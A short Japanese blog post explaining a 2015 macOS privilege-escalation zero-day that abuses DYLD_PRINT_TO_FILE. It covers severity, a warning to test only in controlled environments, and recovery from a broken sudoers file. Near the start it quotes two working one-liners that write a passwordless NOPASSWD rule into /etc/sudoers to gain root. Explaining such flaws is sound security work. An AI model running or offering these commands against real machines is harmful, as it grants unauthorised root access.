はじめに
6月頃から話題になってたようですが、早くも簡単に実行するコマンドがアップされていました。
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
— Stefan Esser (@i0n1c) 2015, 7月 22
権限昇格の脆弱性(Exploit)というのは、パスワードを回避して上級ユーザーにログインする感じのものを言います。今回のコマンドもそんな感じで、パスワード入力なしにsudo su
が実行されます。
また、ここで言うゼロデイ(0day)というのは公式では修正されていない脆弱性、一般には知られていない脆弱性のことを言います。0dayだと、対象となるOS及びツールなどで、ほとんどの場合、攻撃が通ってしまいます。
内容
$ echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
上記を実行すると、パスワード入力なしにsudo su
が実行できてしまいます。
内容は読んでみても分かるように、/etc/sudoers
にALL ALL=(ALL) NOPASSWD: ALL
を追記して、sudo hoge
を実行できてしまうコード。ここをsudo su
にすると、root
でログインできてしまう。
注意
/etc/sudoers
の記述をミスってしまうとsudo
が実行できなくなってしまいます。これは割と有名な話で、/etc/sudoers
のような危険なファイルは、通常、直接編集するのではなくvisudo
などで編集します。
なので、試す際は、仮想環境下または、最新の注意を払って自分が管理する環境下のみで実行するようにしてください。
危険度
この手の権限昇格の脆弱性、それ自体は緊急度は最高レベルではないため、それほど心配する必要はないかもしれません(コンピュータの使い方にもよりますが)。
一番注意が必要なのは、リモートで任意のコードを実行できるゼロデイ脆弱性で、この場合、コンピュータの使い方問わず攻撃されてしまう危険があります。
ただ、そうはいってもこれらは、ツールに依存するものから、OSそのものに対するものまで様々で、今回は、OSそのもの(sudoはデフォルトでインストールされているため、これをOSの機能の一部とみなす)に対するものなので、危険度は高めかもしれません。Appleからの修正アップデートを待ちましょう。
復旧
もし/etc/sudoers
の記述をミスして、sudo
コマンドが有効に実行できなくなった場合の復旧方法を一応書いておきます。
復旧方法は簡単で、Linuxの場合は、単にマウントして/etc/sudoers
を修正すればよいです。rootのSessionが残っていればそれを辿って、rootで編集します。
Macの場合は、root
というユーザーを有効にすることで復旧可能です。root
ユーザーを有効にする方法は以下のコマンドを使います。
$ dsenableroot
あとはcommand + shift + option + Q
でログアウトして、その他のユーザー
- root
でログイン後に/etc/sudoers
を編集するとよいでしょう。